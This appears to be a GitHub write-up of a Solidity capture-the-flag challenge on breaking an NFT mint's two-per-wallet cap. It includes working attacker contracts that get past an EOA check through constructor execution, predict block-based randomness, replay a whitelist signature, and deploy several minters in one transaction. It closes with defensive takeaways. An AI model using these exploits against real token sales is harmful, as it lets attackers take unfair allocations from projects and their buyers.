Skip to content

Latest commit

 

History

History
150 lines (107 loc) · 5.35 KB

VNFT.md

File metadata and controls

150 lines (107 loc) · 5.35 KB

Solidity challenge VNFT.sol

The objective

VNFT.sol is a ERC721 contract. The sale is capped at 2 tokens per wallet -- the goal is to exploit the sale by minting more than the allowed 2 NFTs per wallet, all in a single transaction, see corresponding tweet.

Overview

There are two functions to mint NFTs:

  • function imFeelingLucky(address to, uint256 qty, uint256 number)
  • function whitelistMint(address to, uint256 qty, bytes32 hash, bytes memory signature)

Both functions expect an address to mint and a quantity. imFeelingLucky additionally expects a number, while whitelistMint expects a hash and a signature.

Inspecting imFeelingLucky shows that it calculates a random number based on the blockhash, the block timestamp and the totalSupply:

uint256 randomNumber = uint256(
    keccak256(
        abi.encodePacked(
            blockhash(block.number - 1),
            block.timestamp,
            totalSupply
        )
    )
) % 100;

require(randomNumber == number, "Better luck next time!");

The modulo division sets the range of the random number from 0 to 99. The random number is compared with function input number, if its the same, it will allow minting tokens.

Function whitelistMint only allows whitelisted wallets to mint, it does that by requiring a signature signed by the owner of the contract:

require(
    recoverSigner(hash, signature) == owner(),
    "Address is not allowlisted"
);

Vulnerability

Both functions have a vulnerability.

imFeelingLucky

require((msg.sender).code.length == 0, "Only EOA allowed");

Above require statement ensures that only EOAs (externally owned accounts) are allowed to mint by checking that the code length of msg.sender is equal to zero. You can circumvent that check by including the necessary code in the constructor of your contract -- the code size of a smart contract at creation (so when the code in the constructor is executed) is zero:

contract Attacker {
  constructor(address EOA, address vnft) {
    uint256 currentId = IVNFT(vnft).totalSupply();

    uint256 randomNumber = uint256(
      keccak256(
        abi.encodePacked(
          blockhash(block.number - 1),
          block.timestamp,
          currentId
        )
      )
    ) % 100;

    IVNFT(vnft).imFeelingLucky(address(this), 2, randomNumber);
    IVNFT(vnft).safeTransferFrom(address(this), EOA, currentId++);
    IVNFT(vnft).safeTransferFrom(address(this), EOA, currentId);

    selfdestruct(payable(EOA));
  }

  function onERC721Received(
    address,
    address,
    uint256,
    bytes calldata
  ) external virtual returns (bytes4) {
    return ERC721TokenReceiver.onERC721Received.selector;
  }
}

Above contract calculates the random number, mints 2 NFTs via imFeelingLucky and sends them to specified address. Function onERC721Received is needed because contract VNFT.sol uses safeMint for minting tokens.

whitelistMint

As described, only whitelisted wallets can successfully mint by requiring a hash + signature signed by the owner. Usually you keep track of used signatures by saving them in an array and only allowing new signatures to be processed:

require(!usedSignatures[signature], "Signature already used!");
...
usedSignatures[signature] = true;

This check is missing, allowing a signature replay attack

constructor(
  address EOA,
  address vnft,
  bytes32 hash,
  bytes memory signature
) {
  uint256 currentId = IVNFT(vnft).totalSupply();

  IVNFT(vnft).whitelistMint(address(this), 2, hash, signature);
  IVNFT(vnft).safeTransferFrom(address(this), EOA, currentId++);
  IVNFT(vnft).safeTransferFrom(address(this), EOA, currentId);

  selfdestruct(payable(EOA));
}

Simply use a prior used signature to circumvent the whitelist check.

Exploit in a single transaction

To exploit the sale by minting more than the 2 allowed tokens in a single transaction you have to write an attacker contract, which deploys several minting contracts, executing your exploit logic.

function attack(address EOA) public {
  // deploy 5 smart contracts, each one is minting 2 nfts and sending those to address EOA
  for (uint256 i; i < 5; i++) new Attacker(EOA, address(vnft));

  // check if 10 NFTs were minted, if not, something went wrong
  require(vnft.balanceOf(EOA) == 10);
}

Takeaways

  • require((msg.sender).code.length == 0 wont stop smart contracts from calling and executing a function, since code length during contract creation is zero
  • Random numbers arent really random, since everything on the EVM is deterministic
  • Keep track of used signatures to prevent signature replay attacks

Further information

This exploit is inspired from the adidas NFT mint, which got exploited in a similiar way, where one user minted 328 more tokens than allowed, see this link for more info.